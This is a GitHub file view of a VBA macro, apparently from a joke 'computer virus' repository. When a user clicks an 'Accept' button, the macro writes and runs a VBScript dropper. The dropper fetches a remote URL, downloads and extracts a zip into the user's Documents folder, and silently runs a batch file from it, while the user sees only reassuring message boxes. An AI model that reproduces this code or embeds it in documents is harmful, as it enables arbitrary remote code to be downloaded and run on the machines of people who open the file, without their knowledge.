-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmacro.vba
59 lines (57 loc) · 2.6 KB
/
macro.vba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Private Sub Accept_Click()
MsgBox ("Accepting...")
'Set WshShell = CreateObject("WScript.Shell")
'strDocuments = WshShell.SpecialFolders("MyDocuments")
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
'Dim curPath As String
'curPath = Application.ActiveWorkbook.Path
Set oFile = fso.CreateTextFile(CurDir() & "\robr.vbs")
oFile.WriteLine "strUser = CreateObject(""WScript.Network"").UserName"
oFile.WriteLine "docFold = ""C:\Users\"" & strUser & ""\Documents\party\"""
oFile.WriteLine "Set fso = CreateObject(""Scripting.FileSystemObject"")"
oFile.WriteLine "If Not fso.FolderExists(docFold) Then"
oFile.WriteLine "fso.CreateFolder docFold"
oFile.WriteLine "End If"
oFile.WriteLine "Set objXMLHTTP = CreateObject(""MSXML2.XMLHTTP"")"
oFile.WriteLine "objXMLHTTP.open ""GET"", ""https://raw.githubusercontent.com/stranck/WeAreNumberOneButItIsAComputerVirus/master/online/dwn"", false"
oFile.WriteLine "objXMLHTTP.send()"
oFile.WriteLine "dwnn = objXMLHTTP.responseText"
oFile.WriteLine "dim xHttp: Set xHttp = createobject(""Microsoft.XMLHTTP"")"
oFile.WriteLine "dim bStrm: Set bStrm = createobject(""Adodb.Stream"")"
oFile.WriteLine "xHttp.Open ""GET"", dwnn, False"
oFile.WriteLine "xHttp.Send"
oFile.WriteLine "with bStrm"
oFile.WriteLine ".type = 1"
oFile.WriteLine ".open"
oFile.WriteLine ".write xHttp.responseBody"
oFile.WriteLine ".savetofile docFold & ""zip.zip"", 2"
oFile.WriteLine "end with"
oFile.WriteLine "ZipFile=docFold & ""zip.zip"""
oFile.WriteLine "ExtractTo=docFold"
oFile.WriteLine "Set fso = CreateObject(""Scripting.FileSystemObject"")"
oFile.WriteLine "If NOT fso.FolderExists(ExtractTo) Then"
oFile.WriteLine "fso.CreateFolder(ExtractTo)"
oFile.WriteLine "End If"
oFile.WriteLine "set objShell = CreateObject(""Shell.Application"")"
oFile.WriteLine "set FilesInZip=objShell.NameSpace(ZipFile).items"
oFile.WriteLine "objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)"
oFile.WriteLine "Set fso = Nothing"
oFile.WriteLine "Set objShell = Nothing"
oFile.WriteLine "Set WshShell = WScript.CreateObject (""WScript.Shell"")"
oFile.WriteLine "WshShell.Run chr(34) & docFold & ""copy.bat"" & Chr(34), 0, false"
oFile.WriteLine "Set WshShell = Nothing"
oFile.Close
exec
MsgBox ("Accepted")
End Sub
Sub exec()
'Dim s As String
's =
Shell "wscript """ & CurDir() & "\robr.vbs""", vbNormalFocus
End Sub
Sub test()
MsgBox ("asd")
exec
End Sub